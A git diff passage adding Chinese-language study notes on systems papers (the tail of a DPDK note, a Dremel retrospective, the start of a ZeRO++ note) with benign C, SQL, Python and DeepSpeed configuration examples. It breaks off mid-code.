rte_eth_rx_queue_setup(portid, 0, RX_RING_SIZE, + rte_eth_dev_socket_id(portid), &rxq_conf, mbuf_pool); + ret = rte_eth_tx_queue_setup(portid, 0, TX_RING_SIZE, + rte_eth_dev_socket_id(portid), &txq_conf); + ret = rte_eth_dev_start(portid); + rte_eth_promiscuous_enable(portid); + } + + /* 5. 各 worker lcore 进入 lcore_launch 跑收发包循环 */ + rte_eal_mp_remote_launch(lcore_main, NULL, CALL_MAIN); + rte_eal_mp_wait_lcore(); + return 0; +} +``` + +要点:**EAL init → mempool → eth_dev configure/queue setup → start → 绑核循环**。任何一步漏掉 NUMA 对齐,性能都会「看起来能跑、一压测就塌」。 + +## 代码示例二:Run-to-completion 收发包循环 + +这是 PMD **poll 模式**的心脏——没有 `select`,没有阻塞 `read`,只有持续的 **rx_burst → 处理 → tx_burst**: + +```c +static int lcore_main(void *arg) +{ + const uint16_t portid = 0; /* 简化:单端口 */ + const uint16_t queueid = 0; + struct rte_mbuf *bufs[BURST_SIZE]; + const uint16_t nb_ports = rte_eth_dev_count_avail(); + + printf("Core %u forwarding packets\n", rte_lcore_id()); + + for (;;) { + /* 轮询 RX:一次最多收 BURST_SIZE 个包 */ + uint16_t nb_rx = rte_eth_rx_burst(portid, queueid, + bufs, BURST_SIZE); + if (unlikely(nb_rx == 0)) + continue; + + for (uint16_t i = 0; i < nb_rx; i++) { + struct rte_mbuf *m = bufs[i]; + /* 读 L2 头示例:以太网目的 MAC 在 buf_addr + data_off */ + struct rte_ether_hdr *eth = + rte_pktmbuf_mtod(m, struct rte_ether_hdr *); + (void)eth; /* 实际应用:ACL、meter、改写 TTL… */ + } + + /* 简易 L2 转发:从 port 0 收到,从 port 1 发出 */ + const uint16_t dst_port = (portid + 1) % nb_ports; + uint16_t nb_tx = 0; + while (nb_tx < nb_rx) { + uint16_t sent = rte_eth_tx_burst(dst_port, queueid, + &bufs[nb_tx], nb_rx - nb_tx); + nb_tx += sent; + } + + /* 未发完的 mbuf 必须释放,否则泄漏 pool */ + if (unlikely(nb_tx < nb_rx)) { + for (uint16_t i = nb_tx; i < nb_rx; i++) + rte_pktmbuf_free(bufs[i]); + } + } + return 0; +} +``` + +注意 `rte_eth_tx_burst()` **可能一次发不完**——网卡 TX ring 满时要重试或释放未发送的 mbuf。生产代码还会统计 `imissed`、`ierrors`、做 QoS 限速。 + +## Pipeline 模型补充:rte_ring 传递 mbuf + +当单核跑不完复杂逻辑时,RX 核只做「收包入队」: + +```c +struct rte_ring *ring = rte_ring_create("RX_TO_WORKER", + 4096, rte_socket_id(), RING_F_SP_ENQ | RING_F_SC_DEQ); + +/* RX lcore */ +uint16_t n = rte_eth_rx_burst(port, q, bufs, BURST_SIZE); +rte_ring_sp_enqueue_bulk(ring, (void **)bufs, n, NULL); + +/* Worker lcore */ +uint16_t m = rte_ring_sc_dequeue_burst(ring, (void **)bufs, BURST_SIZE, NULL); +/* …处理后再 tx_burst 或转发到下一级 ring… */ +``` + +`SP`/`SC`(单生产者单消费者)模式最快;多 worker 时用默认 MP/MC 模式。 + +## 与内核栈、XDP、io_uring 的对比 + +| 维度 | 内核网络栈 | DPDK PMD | Linux XDP | io_uring(网络扩展) | +|------|-----------|----------|-----------|---------------------| +| 运行态 | 内核 | 用户态 | 内核最早 hook | 用户态提交、内核执行 | +| 触发方式 | 中断驱动为主 | 轮询为主 | 可中断可 busy-poll | 事件驱动 | +| API 风格 | socket | `rte_eth_*` burst | BPF + redirect | 环形队列 | +| 隔离性 | 进程间强隔离 | 需信任应用 | 有 verifier | 依赖内核 | +| 典型场景 | 通用服务器 | NFV/网关/UPF | 可编程早期过滤 | 通用异步 IO | + +eBPF/XDP 适合「在现有栈里加可编程钩子」;DPDK 适合「**整块数据面搬出内核**换极致吞吐」。二者也常组合:XDP 做早期丢弃,DPDK 做 heavy forwarding。 + +## 部署与运维要点 + +1. **CPU 隔离**:`isolcpus` + `taskset` 或 cgroup cpuset,防止 Linux 调度器把其他进程塞进 DPDK 核。 +2. **大页预留**:容器里跑 DPDK 需挂载 hugepage volume(K8s `emptyDir medium: HugePages`)。 +3. **VFIO 而非 UIO**:现代部署优先 `vfio-pci`,IOMMU 隔离更安全。 +4. **链路状态**:PMD 对链路 up/down 可能用中断回调;数据面仍是 poll。 +5. **功耗**:纯 poll 空转费电;低流量时可切 **interrupt mode** 或 **rte_power** 降频(有性能代价)。 + +## 生态与后续影响 + +2014 briefing 发布时,DPDK 主要由 Intel 主导,驱动覆盖 1G/10G/40G;如今(DPDK 26.x)已演进为 **Linux Foundation 开源项目**,驱动涵盖 mlx5、AWS ENA、virtio-user、crypto、eventdev、GPU DMA 等。 + +下游项目: + +- **OVS-DPDK** / **VPP** — 开源虚拟交换与路由; +- **SPDK** — 同一套 EAL + hugepage 思路用于 NVMe 存储; +- **FD.io VPP、Open vSwitch、TRex** 流量发生器; +- 云厂商 **智能网卡(SmartNIC)** 把部分 PMD 逻辑下沉硬件。 + +学术上,IX(OSDI'14)用 DPDK 做数据面、Arrakis 强调控制面分离、Demikernel 统一 RDMA/DPDK——**「用户态数据面 + 内核控制面」** 成为数据中心共识。 + +## 学习路径建议 + +1. 读官方 [DPDK Programmer's Guide — Overview](https://doc.dpdk.org/guides/prog_guide/overview.html) 与 [Poll Mode Driver](https://doc.dpdk.org/guides/prog_guide/poll_mode_drv.html)。 +2. 跑通 `dpdk/examples/l2fwd` 与 `rxtx_callbacks`,用 `testpmd` 熟悉 burst 与 offload 标志位。 +3. 用 `perf` / `rte_eth_stats_get()` 观察 `ipackets`、`imissed`、`rx_nombuf`(pool 耗尽信号)。 +4. 读 **IX、Arrakis** 笔记,理解 DPDK 在「数据面 OS」大图里的位置。 + +## 小结 + +DPDK 的本质不是「又一个网卡驱动」,而是一套**为用户态线速转发定制的运行时**:EAL 屏蔽 OS 差异,hugepage + mempool 消灭分配抖动,mbuf 统一报文元数据,rte_ring 连接流水线各段,PMD 用 **burst poll** 把 PCIe 与 CPU cache 喂饱。代价是独占核心、放弃内核 socket 语义、直面 NUMA 与内存预分配——**用运维复杂度换每包纳秒级成本**,这正是 100G 时代 NFV 和云原生网关愿意买单的原因。 + +## 参考 + +- [High Performance Networking Leveraging DPDK (SF Summit 2014 Briefing PDF)](https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf) +- [DPDK Programmer's Guide — Overview](https://doc.dpdk.org/guides/prog_guide/overview.html) +- [DPDK Poll Mode Driver Architecture](https://doc.dpdk.org/guides/prog_guide/poll_mode_drv.html) +- [DPDK Mbuf Library](https://doc.dpdk.org/guides/prog_guide/mbuf_lib.html) +- [DPDK Ring Library](https://doc.dpdk.org/guides/prog_guide/ring_lib.html) +- [IX: A Protected Dataplane Operating System (OSDI'14)](/papers/ix-2014) diff --git a/src/content/docs/papers/dremel-decade-2020.md b/src/content/docs/papers/dremel-decade-2020.md new file mode 100644 index 000000000..005cd4919 --- /dev/null +++ b/src/content/docs/papers/dremel-decade-2020.md @@ -0,0 +1,314 @@ +--- +title: Dremel 十年回顾 — Web 规模交互式 SQL 分析如何演化为 BigQuery +来源: https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/ +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:从「单位档案室」到「全城公共查询台」 + +想象你所在的城市要统计**所有市民的网购行为**——订单、商品、收货地址、嵌套在订单里的每一行 SKU,数据量相当于把全市档案堆成山。 + +2010 年之前的 Google 内部,主流做法是: + +- 数据塞进 **MapReduce**,写 Java/C++ 批处理作业; +- 大家心里默认:**「SQL 撑不住 Web 规模」**,交互式分析要么等 overnight job,要么写 Sawzall 这类专用语言。 + +**Dremel**(2006 年立项,2010 年 VLDB 论文公开)像在城市里建了一座**公共查询台**:分析师写一句 SQL,秒级到分钟级拿到聚合结果,不必先 ETL 进传统数仓。**这篇 2020 回顾论文**(PVLDB, pp. 3461–3472,Melnik 等原班作者)回答的是:十年过去,当初哪些设计押对了行业方向?哪些在演进中换了引擎?它们如何沉淀为 **Google BigQuery**? + +类比延伸: + +| 日常场景 | Dremel / BigQuery 对应 | +|----------|------------------------| +| 档案存在各分局,查一次搬一次 | **存算分离**:数据在 Colossus/GCS,算力按需租用 | +| 书在架上就能借,不必先复印进阅览室 | **In situ 分析**:数据湖上多引擎共享同一份列式文件 | +| 图书馆按「借书位」计费,不用包下整栋楼 | **Serverless**:slot 虚拟调度单元,多租户按查询付费 | +| 嵌套目录(卷→章→节)仍可按「节标题」检索 | **嵌套列存**:repetition / definition level 编码 | + +--- + +## 这篇论文是什么 + +**类型**:系统架构回顾(retrospective),不是全新算法论文。 + +**时间线锚点**: + +- **2010**:*Dremel: Interactive Analysis of Web-Scale Datasets* — 多层执行树 + 嵌套列存 + 扩展 SQL; +- **2014 前后**:存储迁移到 **Capacitor** 列式格式;shuffle 基础设施重构; +- **2020**:本文总结五条架构原则如何成为云原生分析系统「标配」,并描述向 **BigQuery** 的演化路径。 + +**作者核心论断**:Dremel 是较早把 **SQL、存算分离、原地分析、Serverless、嵌套列存** 五条线捆在一起量产的系统;十年后的 Snowflake、Presto/Trino、Spark SQL、ClickHouse 云版都在不同程度上复现了这套组合。 + +--- + +## 2010 年的问题:为什么需要 Dremel + +Google 内部数据几乎全是 **Protocol Buffers** 嵌套结构:日志、广告点击、网页索引元数据。MapReduce 能 scale,但: + +1. **开发成本高**:每个 ad hoc 问题都要写分布式 job; +2. **交互延迟 unacceptable**:分析师等批处理排期,迭代慢; +3. **嵌套数据与 SQL 割裂**:传统数仓要 flatten + ETL, schema 一变 pipeline 就断。 + +Dremel 的赌注:**用 SQL 直接查嵌套只读数据**,通过列式布局 + 分布式 serving tree 把聚合压到秒级。Franklin 在 2010 评论里预言「万亿行 soon 会普及」——回顾论文证实这条曲线已被 BigQuery 外部客户反复验证。 + +--- + +## 五条经受住时间考验的架构原则 + +### 1. SQL 重新成为大数据 API + +2010 年业界流行「SQL is dead for interactive analytics」。Dremel 用扩展 SQL(点号访问嵌套字段、`RECORD` 类型)证明:**声明式查询 + 优化器** 仍是最低摩擦接口。后续 Dremel SQL 方言逐步 **ANSI 化**,并通过开源库共享给 **Cloud Spanner** 等产品。 + +**演进**:早期刻意**弱化 join**(依赖 protobuf 反规范化);后期 BigQuery 补齐分布式 join、子查询、窗口函数,并引入基于新 shuffle 层的 **shuffle join**。 + +### 2. 存算分离(Disaggregated Storage & Compute) + +最初 Dremel 是 **shared-nothing**:计算与本地磁盘绑定。迁移到 **GFS**(后 **Colossus**)后,性能一度下降;经 I/O 合并、本地缓存、预读调优后,分离架构在**弹性**与**成本**上反超本地盘方案。 + +收益: + +- 存储与计算**独立扩缩**; +- 同一份数据可被 MapReduce、Dremel、其他引擎**并发读取**; +- 故障域分离:坏盘不拖垮整个计算池。 + +### 3. In situ 分析(数据湖范式先驱) + +Dremel 把列式格式开放为 Google 内部库,具备两大属性: + +- **Columnar**:分析型扫描友好; +- **Self-describing**:文件自带 schema,无需先 load 进专有数仓。 + +MapReduce job 可写列式结果,Dremel **立刻** SQL 查询——这就是现代 **data lake + multiple compute engines** 的原型。BigQuery 后来支持 Bigtable、Cloud Storage、Google Drive 等作为 join 外表。 + +### 4. Serverless 多租户分析 + +从一开始 Dremel 就是**全托管内部服务**:无 upfront 容量规划,**按用量计费**。要支撑数千内部用户、亚秒到秒级交互,必须: + +- **Disaggregation**:算力、存储、内存独立伸缩; +- **Fault tolerance & restartability**:子任务确定性可重放;调度器可派发同一 task 的多个副本; +- **Virtual Scheduling Units(slots)**:调度逻辑不绑定具体机器型号,抽象为 slot(CPU+内存配额); +- **Centralized scheduling**:取代 2010 论文的 leaf dispatcher,由 **query coordinator** 统一编排,提升隔离与利用率。 + +这些能力直接移植到 **BigQuery** 的 serverless 模型。 + +### 5. 嵌套数据的列式存储 + +传统列存假设 flat 表。Dremel 引入 **repetition level** 与 **definition level**,把嵌套/重复结构信息**编码进每一列**,读子字段时不必回溯祖先列。 + +2014 年存储层升级到 **Capacitor**(改进的嵌套列式格式),影响后续 **Parquet** 等生态(嵌套模型与 Dremel 论文一脉相承)。 + +--- + +## 核心机制详解 + +### Repetition Level 与 Definition Level + +以嵌套记录 `Name.Language.Code` 为例(一人多种语言,每种语言多个 code): + +- **Repetition level**:当前值相对路径上,**哪一层 repeated 字段**开始了新数组元素(0 表示新 top-level 记录); +- **Definition level**:当前值相对路径上,**有多少 optional/required 祖先已定义**(NULL 用 definition level 小于最大深度表示)。 + +这样任意列可**单独解码**,无需读取兄弟列——对列投影(只读 `Code`)至关重要。 + +### 多层 Serving 执行树(2010 设计) + +``` +Client → Root Server → Intermediate Servers → Leaf Servers(读 Colossus 列块) + ↑__________________| 聚合结果向上归并 +``` + +Leaf 扫描列块、局部聚合;中间层继续聚合;根返回最终结果。2010 论文强调 **one-pass aggregation** 为主路径——与分析师 workload 匹配。 + +### 十年后的执行层演化(2020 回顾重点) + +| 2010 | 2020 / BigQuery | +|------|-----------------| +| Leaf 本地 dispatcher | **Centralized query coordinator** | +| 执行计划相对静态 | **Dynamic execution plan**:基数估计错了可在运行时改 plan | +| Shuffle 与 stage 紧耦合 | **Shuffle persistence layer**(基于 Colossus):stage 解耦,可 checkpoint、抢占 worker | +| 固定 DAG | **Flexible execution DAG evolution** | + +Shuffle 曾是 MapReduce 时代最贵操作之一;Dremel 团队用 Colossus 构建**持久化 shuffle 层**,使调度器能在 checkpoint 处重新分配 worker,支撑**抢占式多租户**与**更细粒度 fault recovery**。 + +### 查询优化 + +Dremel 采用**分层优化器**:规则重写 + 代价模型结合,针对嵌套列存与 serving tree 生成计划。回顾论文强调:在 disaggregated 架构下,**I/O 与 shuffle 代价模型**与 classic warehouse 不同——网络与 Colossus 读放大成为主导项。 + +--- + +## 代码示例 1:Dremel 风格 SQL 查询嵌套 protobuf 数据 + +以下语法贴近 2010/2020 论文中的 **nested SQL** 示例(概念演示,非特定产品方言): + +```sql +-- 统计每个国家、每种语言下,被访问过的 URL 数量 +SELECT + Name.Country, + lang.code AS language_code, + COUNT(DISTINCT visits.url) AS distinct_urls +FROM + table `logs.web_access` AS t, + UNNEST(t.Name.Language) AS lang, + UNNEST(t.Visits) AS visits +WHERE + visits.date BETWEEN '2020-01-01' AND '2020-01-31' + AND visits.status = 200 +GROUP BY + Name.Country, + language_code +ORDER BY + distinct_urls DESC +LIMIT 100; +``` + +要点: + +- **`Name.Language`** 是 repeated nested field,需 `UNNEST` 展开(现代 BigQuery 语法;2010 论文用点号与特殊聚合语法表达同类语义); +- 查询**只读**嵌套列存文件,无需事先 flatten 成星型模式; +- 优化器可下推 `WHERE visits.status = 200` 到 leaf,利用列块 **zone map / 统计信息** 跳过无关 row group。 + +--- + +## 代码示例 2:Repetition / Definition Level 编码(简化示意) + +假设 schema: + +```text +message Person { + required string Name; + repeated Phone { optional string Number; } +} +``` + +两条记录: + +```text +{Name: "Alice", Phone: [{Number: "111"}, {Number: "222"}]} +{Name: "Bob", Phone: [{Number: null}]} +``` + +`Phone.Number` 列在 Dremel 编码中可能类似(值 + rep + def): + +```python +# 伪代码:展示三列并行数组如何表示嵌套 NULL 与 repeated +values = ["111", "222", None, "Bob端无有效号码时仍占位"] +repetition_levels = [1, 1, 0, 1] # 1=新 Phone 元素, 0=新 Person +definition_levels = [2, 2, 1, 1] # Phone 存在但 Number 为 NULL 时 def 较低 + +def decode_phone_numbers(values, rep, defn, max_def=2): + """从单列还原当前 Person 下的 Number 列表(教学用简化解码器)""" + numbers = [] + current = [] + for v, r, d in zip(values, rep, defn): + if r == 0: + if current: + numbers.append(current) + current = [] + if d == max_def: + current.append(v) + elif d > 0: + current.append(None) # optional 未定义 + if current: + numbers.append(current) + return numbers + +# decode 结果示意: [["111","222"], [None]] +``` + +**为什么重要**:分析查询常只读 `Phone.Number` 一列;rep/def 让引擎**无需读 `Name` 或 `Phone` 的其他子列**即可重建嵌套结构,并与列压缩(RLE、字典编码)叠加。 + +--- + +## 代码示例 3:Serverless Slot 调度(概念伪代码) + +回顾论文强调 **slot** 抽象如何支撑多租户 serverless: + +```python +class QueryCoordinator: + def __init__(self, slot_pool: SlotPool): + self.slots = slot_pool # 全局虚拟 CPU+内存单元,非绑定具体 VM + + def execute(self, query_plan: ExecutionDAG): + root = query_plan.root_stage() + # 中心化调度:按 stage 向 slot_pool 申请 workers + while not query_plan.done(): + stage = query_plan.next_ready_stage() + slots_needed = stage.estimate_slots(cardinality=stage.stats) + workers = self.slots.acquire( + count=slots_needed, + priority=query_plan.tenant_fairness_weight, + ) + # shuffle 中间结果持久化到 Colossus,便于抢占与重试 + handles = [ + w.run_deterministic(stage, shuffle_sink=ColossusShuffle()) + for w in workers + ] + stage_result = self.wait_and_merge(handles, allow_speculative_dup=True) + query_plan.mark_complete(stage, stage_result) + self.slots.release(workers) + return query_plan.final_result() +``` + +与 2010 leaf dispatcher 相比:**调度决策集中**、**shuffle 可持久化**、**任务确定性可重放**——三者共同支撑 BigQuery 式「提交查询即走,无需告诉系统你要多少台机器」。 + +--- + +## 与 2010 原论文的对照阅读 + +| 主题 | 2010 原论文 | 2020 十年回顾 | +|------|-------------|---------------| +| 存储位置 | 本地盘 → 正在迁 GFS | Colossus + Capacitor 成熟 | +| Join | 基本回避 | 分布式 shuffle join | +| 调度 | Leaf dispatcher | Central coordinator + slots | +| 产品形态 | Google 内部服务 | BigQuery 对外 Serverless | +| 行业语境 | SQL 式微 | SQL 一统数据平台 API | + +零基础读者建议:**先读 2020 回顾建立地图,再读 2010 原论文看 serving tree 与 rep/def 细节**。 + +--- + +## 对现代数据栈的影响 + +1. **BigQuery** 直接 lineage 自 Dremel; +2. **Parquet / Arrow** 嵌套模型与 rep/def 思想可追溯至 Dremel 2010; +3. **Snowflake、Redshift Spectrum、Athena** 等「对象存储 + 弹性计算 + SQL」_triad_ 与本文五条原则同构; +4. **Lakehouse**(Delta/Iceberg + 多引擎)是 in situ 分析的工业化版本; +5. **「SQL doesn't scale」** 作为 2000 年代迷思,被 Dremel 系列论文系统性反驳。 + +--- + +## 局限与未竟之处 + +回顾论文也诚实提到: + +- **超大 join** 仍是研究与工程热点;shuffle join 依赖内部网络优化,不完全可移植; +- **Disaggregated 存储** 对极短查询仍可能 I/O 放大,需 aggressive caching; +- **多引擎写同一 data lake** 时的 **schema 演化、ACID 表格式** 在 2020 时仍靠外部系统(Iceberg 等)补齐; +- 内部细节(Capacitor 精确布局、slot 定价模型)在公开论文中着墨有限。 + +--- + +## 自测清单(零基础) + +1. 用一句话向同事解释:**Dremel 2020 回顾论文在讲什么?**(答案方向:架构原则十年验证 + BigQuery 演化。) +2. **存算分离** 相比本地盘 shared-nothing 的两个优点、一个代价? +3. **Repetition level** 与 **definition level** 分别解决什么问题? +4. 为什么说 Dremel 是 **data lake in situ 分析** 的早期实例? +5. **Slot** 调度与 2010 leaf dispatcher 的核心区别? + +--- + +## 延伸阅读 + +- Melnik et al., *Dremel: Interactive Analysis of Web-Scale Datasets*, VLDB 2010 — 原始系统设计。 +- Seattle Report on Database Research — 2020 回顾引用的行业趋势框架。 +- 本仓库笔记:[列式存储格式实证评估](./columnar-storage-formats-2023.md)、[Lakehouse](./lakehouse-2021.md) — 与嵌套列存、湖仓范式衔接。 +- Google Research 原文:https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/ + +--- + +## 一句话总结 + +**Dremel 十年回顾** 不是新算法炫耀,而是一份「架构预言书」的验收报告:SQL、存算分离、原地列式分析、Serverless 多租户与嵌套列存——这五条在 2010 年捆绑出现在 Google 内部查询引擎里,十年后被 BigQuery 与整个云分析行业证明为**默认正确选项**;理解它,等于理解现代「写 SQL 查对象存储上的 PB 级嵌套数据」从何而来。 diff --git a/src/content/docs/papers/ds-zero-pp-comm.md b/src/content/docs/papers/ds-zero-pp-comm.md new file mode 100644 index 000000000..0f0f21929 --- /dev/null +++ b/src/content/docs/papers/ds-zero-pp-comm.md @@ -0,0 +1,351 @@ +--- +title: ZeRO++ — 巨型模型训练中的极致高效集合通信 +来源: https://arxiv.org/abs/2306.10209 +日期: 2026-06-13 +分类: 机器学习 +子分类: ML 系统 +provenance: pipeline-v3 +--- + +## 从日常类比开始:分布式拼乐高 vs 快递费 + +想象你和 512 个同学要一起拼一座**巨型乐高城堡**(训练 100B+ 参数的大模型): + +- 每人只保管城堡的一小块零件(**ZeRO-3 参数分片**),需要某层积木时,全班**临时凑齐**那一层再开工(**all-gather 权重**)。 +- 每层拼完,大家还要把「哪里拼错了」汇总成一份修正清单(**reduce-scatter 梯度**)。 + +在**同教室**(单节点 NVLink)里,喊一嗓子就能传积木——很快。 +一旦同学分散在**不同城市**(跨节点 InfiniBand / 以太网),每次凑积木都要发**整层 FP16 权重**的快递——带宽一窄,或每人 batch 很小(算得慢、等快递久),训练吞吐立刻被通信拖死。 + +Microsoft DeepSpeed 团队在 ICLR 2024 发表的 **ZeRO++**([arXiv:2306.10209](https://arxiv.org/abs/2306.10209))做的事,相当于给这套协作流程加了三条「省钱快递规则」: + +1. **qwZ**:寄积木前压成 INT8 包裹(体积减半),到岸再解压。 +2. **hpZ**:每个城市留一份「次级副本」,反向传播时**只在同城凑积木**,不再跨城。 +3. **qgZ**:梯度汇总改用 INT4 + all-to-all,**先同城合并再跨城**,且**还原精度后再做加法**,避免低精度累加误差。 + +三者叠加,跨节点通信量从 **3M 降到 0.75M**(M = 模型参数量),384 GPU 上最高约 **2.16×** 吞吐;10B–138B 模型上相对 vanilla ZeRO 最高约 **2.4×**。 + +一句话:**ZeRO++ 不是换优化器,而是给 ZeRO-3 的三次集体通信(前向 gather、反向 gather、梯度 scatter)分别「减肥」。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 全称 | ZeRO++: Extremely Efficient Collective Communication for Giant Model Training | +| 机构 | Microsoft(DeepSpeed) | +| 会议 | ICLR 2024 | +| 代码 | [DeepSpeed](https://github.com/deepspeedai/DeepSpeed) — `zero_quantized_weights` / `zero_hpz_partition_size` / `zero_quantized_gradients` | +| 前置 | 必须基于 **ZeRO Stage 3**(参数分片 + 按需 all-gather) | +| 论文 PDF | [2306.10209](https://arxiv.org/pdf/2306.10209.pdf) | + +ZeRO++ 是 **通信优化层**,与 [[flash-attention]]、[[liger-kernel-llm-training]] 等算子优化正交——后者减单卡计算/显存,ZeRO++ 减**多卡之间的 bytes**。 + +--- + +## 为什么重要 + +### 1. ZeRO-3 的隐藏税:每步 3M 通信 + +在 ZeRO-3 下,每个训练 step 典型有三笔「全网级」集体通信(参数量 M): + +| 阶段 | 集体操作 | 通信量 | +|------|----------|--------| +| 前向 | 权重 all-gather | M(FP16) | +| 反向 | 权重 all-gather | M(FP16) | +| 反向末 | 梯度 reduce-scatter | M(FP16) | +| **合计** | | **3M** | + +当 **跨节点带宽低**(云厂商常见 100–400 Gbps IB)或 **每 GPU batch 小**(大模型 + 长上下文 + 多并行维)时,GPU 大量时间在等网络,有效 TFLOPS/GPU 断崖式下跌——论文 Figure 1 在 384 GPU、512 token/GPU 时,带宽从 800Gbps 降到 100Gbps,吞吐可从 ~61 掉到 ~16 TFLOPS/GPU。 + +### 2. 低带宽集群 ≈ 高带宽集群的「平价替代」 + +论文实验表明:在 4× 更高带宽集群上跑 baseline ZeRO 的吞吐,ZeRO++ 在**低带宽**设置下也能接近——对预算有限、跨 AZ 训练的团队,这是直接的 TCO 杠杆。 + +### 3. 零(或极少)改用户训练代码 + +DeepSpeed 官方教程强调:**用户模型代码不用改**,只需 JSON 配置打开三个开关;与 Megatron-DeepSpeed、Hugging Face + DeepSpeed 集成路径兼容。 + +--- + +## 先懂 ZeRO-3:ZeRO++ 改的是哪三次快递 + +```text +ZeRO-3 单 step 通信骨架(简化) + +Forward: + 对每一层 → all-gather 该层权重分片 → 本地算 forward → 释放非本地权重 + +Backward: + 对每一层 → all-gather 该层权重 → 本地算 backward → 本地梯度 + 最后 → reduce-scatter 聚合梯度到各 rank 的分片 + +ZeRO++ 分别动刀: + qwZ → 前向 all-gather 传 INT8 + hpZ → 反向 all-gather 限制在节点内 + qgZ → 梯度 reduce-scatter 换成 INT4 all-to-all + 高精度归约 +``` + +ZeRO 把 optimizer states、梯度、参数都分片,消除数据并行里的冗余副本;ZeRO-3 进一步**连参数也分片**,于是每层计算前必须 gather 完整权重——这是通信量的根源。 + +--- + +## 核心概念 + +### 1. qwZ — Quantized Weight Communication + +**问题**:前向 all-gather 要传完整 FP16 权重,占 M 中的 1M。 + +**做法**: + +- 发送前:按 **block** 做对称 INT8 量化(每块独立 scale,类似分块量化 [Dettmers LLM.int8()])。 +- 接收后:dequant 回 FP16,再算 matmul。 +- 通信量:**M → 0.5M**(50% 减少)。 + +**为什么不能全局一把量化?** 权重动态范围大,整块量化误差高;分块后 BERT 案例量化误差约降 **3×**。论文还自研了高性能 quant/dequant CUDA kernel,并与 all-gather **流水线重叠**,避免「省带宽但算量化太慢」。 + +分块对称 INT8 量化的核心公式(每块独立 scale `s`): + +```python +import torch + +def block_quantize_fp16_to_int8(w: torch.Tensor, block_size: int = 128): + """教学用伪代码:理解 qwZ 为何按块量化而非整 tensor 一把梭。""" + assert w.dtype == torch.float16 + n = w.numel() + pad = (-n) % block_size + if pad: + w = torch.nn.functional.pad(w.flatten(), (0, pad)) + blocks = w.view(-1, block_size) + # 对称量化:scale = max(|block|) / 127 + scale = blocks.abs().amax(dim=1, keepdim=True).clamp(min=1e-8) / 127.0 + q = torch.round(blocks / scale).clamp(-127, 127).to(torch.int8) + return q, scale # 接收端: w_hat = q.float() * scale +``` + +发送端传 `(q, scale)` 的紧凑表示,接收端 dequant 回 FP16 再参与 matmul——**通信传 INT8,计算仍用 FP16**。 + +### 2. hpZ — Hierarchical Partitioning ZeRO + +**问题**:反向 pass again all-gather 权重,又跨节点传 M。 + +**做法 — 双副本分区**: + +- **Primary partition**:与 ZeRO-3 相同,权重分片到**全部** GPU(world size P)。 +- **Secondary partition**:在每个**节点内**再分片一份 FP16 权重副本(secondary group size = 每节点 GPU 数,如 8)。 + +**时间线**: + +1. **Forward**:仍按 primary 做**跨节点** all-gather。 +2. Forward 用完该层权重后,按 **secondary** 重新分片存放。 +3. **Backward**:只需在**节点内** all-gather secondary 副本 → **跨节点通信 = 0**。 +4. **Optimizer step**:仍按 primary 分片更新主副本。 + +**代价**:显存上升。100B 模型、1024 GPU、secondary=16 GPU/组时,hpZ 比 ZeRO-3 多用约 **8.9×** 参数相关内存,但仍比标准 DP 全复制少 **114×**(论文 Figure 4)。 + +配置项 `zero_hpz_partition_size`:secondary 组大小;设为**每节点 GPU 数**为典型值;=1 表示关闭 hpZ。 + +### 3. qgZ — Quantized Gradient Communication + +**问题**:直接对 reduce-scatter 做 INT4/INT8 **低精度归约**会累积误差,损害收敛。 + +**做法 — all-to-all 范式**: + +1. 各 rank 对本地梯度做 **block INT4 量化**。 +2. **all-to-all** 交换量化块(可 hierarchical:先节点内再节点间)。 +3. 接收方 **dequant 回 FP16**,再做 **高精度 sum**。 +4. 必要时 **tensor slice reorder** 修正 all-to-all 带来的梯度错位(论文 Figure 9)。 + +**效果**:跨节点梯度通信 **M → 0.25M**(INT4 相对 FP16 约 4× 压缩)。相对 ring reduce-scatter,1-hop all-to-all 延迟更低;并与 intra/inter-node 通信 **pipeline + kernel fusion**。 + +### 4. 三者合计:4× 跨节点通信 + +| 通信点 | Baseline ZeRO-3 | ZeRO++ | +|--------|-------------------|--------| +| 前向权重 gather | M | **0.5M**(qwZ) | +| 反向权重 gather | M | **0**(hpZ,节点内) | +| 梯度 scatter | M | **0.25M**(qgZ,跨节点部分) | +| **跨节点合计** | **3M** | **0.75M** | + +注意:三项收益**不完全线性相加**(论文消融说明存在 overlap 与 pipeline 交互),但方向一致。 + +--- + +## 代码示例 1:DeepSpeed JSON 开启 ZeRO++ + +ZeRO++ 扩展 ZeRO-3,三个布尔/整数开关可独立或组合启用: + +```json +{ + "train_batch_size": 512, + "train_micro_batch_size_per_gpu": 1, + "gradient_accumulation_steps": 32, + "fp16": { + "enabled": true + }, + "zero_optimization": { + "stage": 3, + "reduce_bucket_size": 10000000, + "reduce_scatter": true, + "contiguous_gradients": true, + "overlap_comm": true, + + "zero_quantized_weights": true, + "zero_hpz_partition_size": 8, + "zero_quantized_gradients": true + } +} +``` + +| 字段 | 含义 | 推荐 | +|------|------|------| +| `zero_quantized_weights` | 启用 qwZ(INT8 权重 all-gather) | 跨节点带宽紧张时 `true` | +| `zero_hpz_partition_size` | hpZ secondary 组大小;1=关闭 | 设为**每节点 GPU 数**(如 DGX 8 卡 → 8) | +| `zero_quantized_gradients` | 启用 qgZ(INT4 梯度 all-to-all) | 大模型 + 多节点时 `true` | + +Megatron-DeepSpeed 启动示例(摘自官方 zeropp 教程): + +```bash +deepspeed pretrain_gpt.py \ + --tensor-model-parallel-size 1 \ + --pipeline-model-parallel-size 1 \ + --num-layers 40 \ + --hidden-size 6144 \ + --seq-length 512 \ + --num-attention-heads 32 \ + --micro-batch-size 1 \ + --zero-stage 3 \ + --deepspeed_config ds_zeropp_config.json \ + --deepspeed-activation-checkpointing \ + --fp16 +``` + +--- + +## 代码示例 2:Hugging Face Trainer + DeepSpeed 集成 + +若用 Transformers,通常把 ZeRO++ 写进 DeepSpeed config,由 `TrainingArguments(deepspeed=...)` 加载: + +```python +# ds_zero_pp.json 内容同示例 1 +from transformers import AutoModelForCausalLM, TrainingArguments, Trainer + +model = AutoModelForCausalLM.from_pretrained("meta-llama/Llama-2-7b-hf") + +training_args = TrainingArguments( + output_dir="./out", + per_device_train_batch_size=1, + 